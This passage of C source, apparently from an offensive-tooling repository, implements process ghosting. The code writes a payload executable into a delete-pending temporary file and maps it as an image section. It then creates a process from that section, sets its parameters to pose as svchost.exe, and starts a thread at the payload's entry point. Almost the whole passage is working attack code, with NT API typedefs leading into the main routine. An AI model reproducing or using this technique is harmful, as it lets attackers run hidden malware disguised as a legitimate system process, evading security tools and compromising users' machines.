FILE_BOTH_DIR_INFORMATION 203 | FileBasicInformation, // FILE_BASIC_INFORMATION 204 | FileStandardInformation, // FILE_STANDARD_INFORMATION 205 | FileInternalInformation, // FILE_INTERNAL_INFORMATION 206 | FileEaInformation, // FILE_EA_INFORMATION 207 | FileAccessInformation, // FILE_ACCESS_INFORMATION 208 | FileNameInformation, // FILE_NAME_INFORMATION 209 | FileRenameInformation, // FILE_RENAME_INFORMATION // 10 210 | FileLinkInformation, // FILE_LINK_INFORMATION 211 | FileNamesInformation, // FILE_NAMES_INFORMATION 212 | FileDispositionInformation, // FILE_DISPOSITION_INFORMATION 213 | FilePositionInformation, // FILE_POSITION_INFORMATION 214 | FileFullEaInformation, // FILE_FULL_EA_INFORMATION 215 | FileModeInformation, // FILE_MODE_INFORMATION 216 | FileAlignmentInformation, // FILE_ALIGNMENT_INFORMATION 217 | FileAllInformation, // FILE_ALL_INFORMATION 218 | FileAllocationInformation, // FILE_ALLOCATION_INFORMATION 219 | FileEndOfFileInformation, // FILE_END_OF_FILE_INFORMATION // 20 220 | FileAlternateNameInformation, // FILE_NAME_INFORMATION 221 | FileStreamInformation, // FILE_STREAM_INFORMATION 222 | FilePipeInformation, // FILE_PIPE_INFORMATION 223 | FilePipeLocalInformation, // FILE_PIPE_LOCAL_INFORMATION 224 | FilePipeRemoteInformation, // FILE_PIPE_REMOTE_INFORMATION 225 | FileMailslotQueryInformation, // FILE_MAILSLOT_QUERY_INFORMATION 226 | FileMailslotSetInformation, // FILE_MAILSLOT_SET_INFORMATION 227 | FileCompressionInformation, // FILE_COMPRESSION_INFORMATION 228 | FileObjectIdInformation, // FILE_OBJECTID_INFORMATION 229 | FileCompletionInformation, // FILE_COMPLETION_INFORMATION // 30 230 | FileMoveClusterInformation, // FILE_MOVE_CLUSTER_INFORMATION 231 | FileQuotaInformation, // FILE_QUOTA_INFORMATION 232 | FileReparsePointInformation, // FILE_REPARSE_POINT_INFORMATION 233 | FileNetworkOpenInformation, // FILE_NETWORK_OPEN_INFORMATION 234 | FileAttributeTagInformation, // FILE_ATTRIBUTE_TAG_INFORMATION 235 | FileTrackingInformation, // FILE_TRACKING_INFORMATION 236 | FileIdBothDirectoryInformation, // FILE_ID_BOTH_DIR_INFORMATION 237 | FileIdFullDirectoryInformation, // FILE_ID_FULL_DIR_INFORMATION 238 | FileValidDataLengthInformation, // FILE_VALID_DATA_LENGTH_INFORMATION 239 | FileShortNameInformation, // FILE_NAME_INFORMATION // 40 240 | FileIoCompletionNotificationInformation, // FILE_IO_COMPLETION_NOTIFICATION_INFORMATION // since VISTA 241 | FileIoStatusBlockRangeInformation, // FILE_IOSTATUSBLOCK_RANGE_INFORMATION 242 | FileIoPriorityHintInformation, // FILE_IO_PRIORITY_HINT_INFORMATION 243 | FileSfioReserveInformation, // FILE_SFIO_RESERVE_INFORMATION 244 | FileSfioVolumeInformation, // FILE_SFIO_VOLUME_INFORMATION 245 | FileHardLinkInformation, // FILE_LINKS_INFORMATION 246 | FileProcessIdsUsingFileInformation, // FILE_PROCESS_IDS_USING_FILE_INFORMATION 247 | FileNormalizedNameInformation, // FILE_NAME_INFORMATION 248 | FileNetworkPhysicalNameInformation, // FILE_NETWORK_PHYSICAL_NAME_INFORMATION 249 | FileIdGlobalTxDirectoryInformation, // FILE_ID_GLOBAL_TX_DIR_INFORMATION // since WIN7 // 50 250 | FileIsRemoteDeviceInformation, // FILE_IS_REMOTE_DEVICE_INFORMATION 251 | FileUnusedInformation, 252 | FileNumaNodeInformation, // FILE_NUMA_NODE_INFORMATION 253 | FileStandardLinkInformation, // FILE_STANDARD_LINK_INFORMATION 254 | FileRemoteProtocolInformation, // FILE_REMOTE_PROTOCOL_INFORMATION 255 | FileRenameInformationBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION // since WIN8 256 | FileLinkInformationBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION 257 | FileVolumeNameInformation, // FILE_VOLUME_NAME_INFORMATION 258 | FileIdInformation, // FILE_ID_INFORMATION 259 | FileIdExtdDirectoryInformation, // FILE_ID_EXTD_DIR_INFORMATION // 60 260 | FileReplaceCompletionInformation, // FILE_COMPLETION_INFORMATION // since WINBLUE 261 | FileHardLinkFullIdInformation, // FILE_LINK_ENTRY_FULL_ID_INFORMATION 262 | FileIdExtdBothDirectoryInformation, // FILE_ID_EXTD_BOTH_DIR_INFORMATION // since THRESHOLD 263 | FileDispositionInformationEx, // FILE_DISPOSITION_INFO_EX // since REDSTONE 264 | FileRenameInformationEx, // FILE_RENAME_INFORMATION_EX 265 | FileRenameInformationExBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION_EX 266 | FileDesiredStorageClassInformation, // FILE_DESIRED_STORAGE_CLASS_INFORMATION // since REDSTONE2 267 | FileStatInformation, // FILE_STAT_INFORMATION 268 | FileMemoryPartitionInformation, // FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3 269 | FileStatLxInformation, // FILE_STAT_LX_INFORMATION // since REDSTONE4 // 70 270 | FileCaseSensitiveInformation, // FILE_CASE_SENSITIVE_INFORMATION 271 | FileLinkInformationEx, // FILE_LINK_INFORMATION_EX // since REDSTONE5 272 | FileLinkInformationExBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION_EX 273 | FileStorageReserveIdInformation, // FILE_SET_STORAGE_RESERVE_ID_INFORMATION 274 | FileCaseSensitiveInformationForceAccessCheck, // FILE_CASE_SENSITIVE_INFORMATION 275 | FileMaximumInformation 276 | } FILE_INFORMATION_CLASS, 277 | *PFILE_INFORMATION_CLASS; 278 | 279 | typedef enum _PROCESSINFOCLASS 280 | { 281 | ProcessBasicInformation = 0, 282 | ProcessDebugPort = 7, 283 | ProcessWow64Information = 26, 284 | ProcessImageFileName = 27, 285 | ProcessBreakOnTermination = 29 286 | } PROCESSINFOCLASS; 287 | 288 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtOpenFile)( 289 | PHANDLE FileHandle, 290 | ACCESS_MASK DesiredAccess, 291 | POBJECT_ATTRIBUTES ObjectAttributes, 292 | PIO_STATUS_BLOCK IoStatusBlock, 293 | ULONG ShareAccess, 294 | ULONG OpenOptions); 295 | 296 | typedef void(WINAPI *_RtlInitUnicodeString)( 297 | PUNICODE_STRING DestinationString, 298 | PCWSTR SourceString); 299 | 300 | typedef NTSTATUS(WINAPI *_NtSetInformationFile)( 301 | HANDLE FileHandle, 302 | PIO_STATUS_BLOCK IoStatusBlock, 303 | PVOID FileInformation, 304 | ULONG Length, 305 | FILE_INFORMATION_CLASS FileInformationClass); 306 | 307 | typedef NTSTATUS(WINAPI *_NtCreateSection)( 308 | PHANDLE SectionHandle, 309 | ACCESS_MASK DesiredAccess, 310 | POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 311 | PLARGE_INTEGER MaximumSize OPTIONAL, 312 | ULONG SectionPageProtection, 313 | ULONG AllocationAttributes, 314 | HANDLE FileHandle OPTIONAL); 315 | 316 | typedef NTSTATUS(WINAPI *_NtCreateProcessEx)( 317 | PHANDLE ProcessHandle, 318 | ACCESS_MASK DesiredAccess, 319 | POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 320 | HANDLE ParentProcess, 321 | ULONG Flags, 322 | HANDLE SectionHandle OPTIONAL, 323 | HANDLE DebugPort OPTIONAL, 324 | HANDLE ExceptionPort OPTIONAL, 325 | BOOLEAN InJob); 326 | 327 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtReadVirtualMemory)( 328 | HANDLE ProcessHandle, 329 | PVOID BaseAddress, 330 | PVOID Buffer, 331 | SIZE_T BufferSize, 332 | PSIZE_T NumberOfBytesRead); 333 | 334 | typedef NTSYSAPI PIMAGE_NT_HEADERS(NTAPI *_RtlImageNtHeader)( 335 | PVOID Base); 336 | 337 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtAllocateVirtualMemory)( 338 | HANDLE ProcessHandle, 339 | PVOID *BaseAddress, 340 | ULONG_PTR ZeroBits, 341 | PSIZE_T RegionSize, 342 | ULONG AllocationType, 343 | ULONG Protect); 344 | 345 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtCreateThreadEx)( 346 | PHANDLE hThread, 347 | ACCESS_MASK DesiredAccess, 348 | LPVOID ObjectAttributes, 349 | HANDLE ProcessHandle, 350 | LPTHREAD_START_ROUTINE lpStartAddress, 351 | LPVOID lpParameter, 352 | BOOL CreateSuspended, 353 | DWORD StackZeroBits, 354 | DWORD SizeOfStackCommit, 355 | DWORD SizeOfStackReserve, 356 | LPVOID lpBytesBuffer); 357 | 358 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtWriteVirtualMemory)( 359 | HANDLE ProcessHandle, 360 | PVOID BaseAddress, 361 | VOID *Buffer, 362 | SIZE_T BufferSize, 363 | PSIZE_T NumberOfBytesWritten); 364 | 365 | typedef NTSYSAPI NTSTATUS(NTAPI *_RtlCreateProcessParametersEx)( 366 | PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, 367 | PUNICODE_STRING ImagePathName, 368 | PUNICODE_STRING DllPath, 369 | PUNICODE_STRING CurrentDirectory, 370 | PUNICODE_STRING CommandLine, 371 | PVOID Environment, 372 | PUNICODE_STRING WindowTitle, 373 | PUNICODE_STRING DesktopInfo, 374 | PUNICODE_STRING ShellInfo, 375 | PUNICODE_STRING RuntimeData, 376 | ULONG Flags); 377 | 378 | typedef NTSYSAPI NTSTATUS(NTAPI *_NtQueryInformationProcess)( 379 | HANDLE ProcessHandle, 380 | PROCESSINFOCLASS ProcessInformationClass, 381 | PVOID ProcessInformation, 382 | ULONG ProcessInformationLength, 383 | PULONG ReturnLength OPTIONAL); 384 | 385 | int main() 386 | { 387 | // read payload file into heap 388 | HANDLE hFile = CreateFileW(L"Z:\\git\\offensive_c\\bin\\myexe_mainexec.exe", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 389 | size_t payload_size = GetFileSize(hFile, 0); 390 | BYTE *payload = (BYTE *)VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 391 | HANDLE hSection; 392 | UNICODE_STRING uFileName; 393 | IO_STATUS_BLOCK statusBlock = {0}; 394 | ReadFile(hFile, payload, payload_size, NULL, NULL); 395 | CloseHandle(hFile); 396 | 397 | // make section from delete pending file 398 | wchar_t ntPath[MAX_PATH] = L"\\??\\"; 399 | wchar_t tempFileName[MAX_PATH] = {0}; 400 | wchar_t tempPath[MAX_PATH] = {0}; 401 | GetTempPathW(MAX_PATH, tempPath); 402 | GetTempFileNameW(tempPath, L"PG", 0, tempFileName); 403 | lstrcatW(ntPath, tempFileName); 404 | 405 | // HANDLE hSection = MakeSectionFromDeletePendingFile(ntPath, payload, payload_size); 406 | // HANDLE hProcess = CreateProcessWithSection(hSection); 407 | 408 | _RtlInitUnicodeString pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString"); 409 | pRtlInitUnicodeString(&uFileName, ntPath); 410 | OBJECT_ATTRIBUTES objAttr; 411 | InitializeObjectAttributes(&objAttr, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); 412 | 413 | _NtOpenFile pNtOpenFile = (_NtOpenFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenFile"); 414 | pNtOpenFile(&hFile, GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE, 415 | &objAttr, &statusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, 416 | FILE_SUPERSEDED | FILE_SYNCHRONOUS_IO_NONALERT); 417 | 418 | FILE_DISPOSITION_INFORMATION info = {0}; 419 | info.DeleteFile = TRUE; 420 | _NtSetInformationFile pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetInformationFile"); 421 | pNtSetInformationFile(hFile, &statusBlock, &info, sizeof(info), FileDispositionInformation); 422 | 423 | WriteFile(hFile, payload, payload_size, NULL, NULL); 424 | 425 | _NtCreateSection pNtCreateSection = (_NtCreateSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateSection"); 426 | pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hFile); 427 | CloseHandle(hFile); 428 | hFile = NULL; 429 | 430 | // create process with section 431 | HANDLE hProcess = INVALID_HANDLE_VALUE; 432 | _NtCreateProcessEx pNtCreateProcessEx = (_NtCreateProcessEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateProcessEx"); 433 | pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, 434 | GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE); 435 | 436 | PROCESS_BASIC_INFORMATION pbi; 437 | _NtQueryInformationProcess pNtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"); 438 | pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL); 439 | 440 | // get entrypoint 441 | // entryPoint = GetEntryPoint(hProcess, payload, pbi); 442 | BYTE image[0x1000]; 443 | ZeroMemory(image, sizeof(image)); 444 | _NtReadVirtualMemory pNtReadVirtualMemory = (_NtReadVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadVirtualMemory"); 445 | pNtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &image, sizeof(image), NULL); 446 | 447 | _RtlImageNtHeader pRtlImageNtHeader = (_RtlImageNtHeader)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlImageNtHeader"); 448 | DWORD64 entryPoint = (pRtlImageNtHeader(payload)->OptionalHeader.AddressOfEntryPoint); 449 | entryPoint += (DWORD64)((PPEB)image)->ImageBase; 450 | 451 | // 452 | 453 | WCHAR targetPath[MAX_PATH]; 454 | UNICODE_STRING uDllPath; 455 | UNICODE_STRING uTargetFile; 456 | PRTL_USER_PROCESS_PARAMETERS processParameters; 457 | lstrcpyW(targetPath, L"C:\\windows\\system32\\svchost.exe"); 458 | pRtlInitUnicodeString(&uTargetFile, targetPath); 459 | wchar_t dllDir[] = L"C:\\Windows\\System32"; 460 | UNICODE_STRING uDllDir = {0}; 461 | pRtlInitUnicodeString(&uDllPath, dllDir); 462 | _RtlCreateProcessParametersEx pRtlCreateProcessParametersEx = (_RtlCreateProcessParametersEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateProcessParametersEx"); 463 | pRtlCreateProcessParametersEx(&processParameters, &uTargetFile, &uDllPath, NULL, 464 | &uTargetFile, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED); 465 | 466 | // ALlocating memory for parameters in target process 467 | PVOID paramBuffer = processParameters; 468 | SIZE_T paramSize = processParameters->EnvironmentSize + processParameters->MaximumLength; 469 | _NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory"); 470 | pNtAllocateVirtualMemory(hProcess, ¶mBuffer, 0, ¶mSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 471 | 472 | // Writing Process Parameters in Target Process 473 | _NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory"); 474 | pNtWriteVirtualMemory(hProcess, processParameters, processParameters, 475 | processParameters->EnvironmentSize + processParameters->MaximumLength, NULL); 476 | PEB *remotePEB = (PEB *)pbi.PebBaseAddress; 477 | // Updating Process Parameters Address at remote PEB 478 | WriteProcessMemory(hProcess, &remotePEB->ProcessParameters, &processParameters, sizeof(PVOID), NULL); 479 | 480 | // Create Thread 481 | HANDLE hThread; 482 | _NtCreateThreadEx pNtCreateThreadEx = (_NtCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx"); 483 | pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, 484 | (LPTHREAD_START_ROUTINE)entryPoint, NULL, FALSE, 0, 0, 0, NULL); 485 | 486 | return 0; 487 | } --------------------------------------------------------------------------------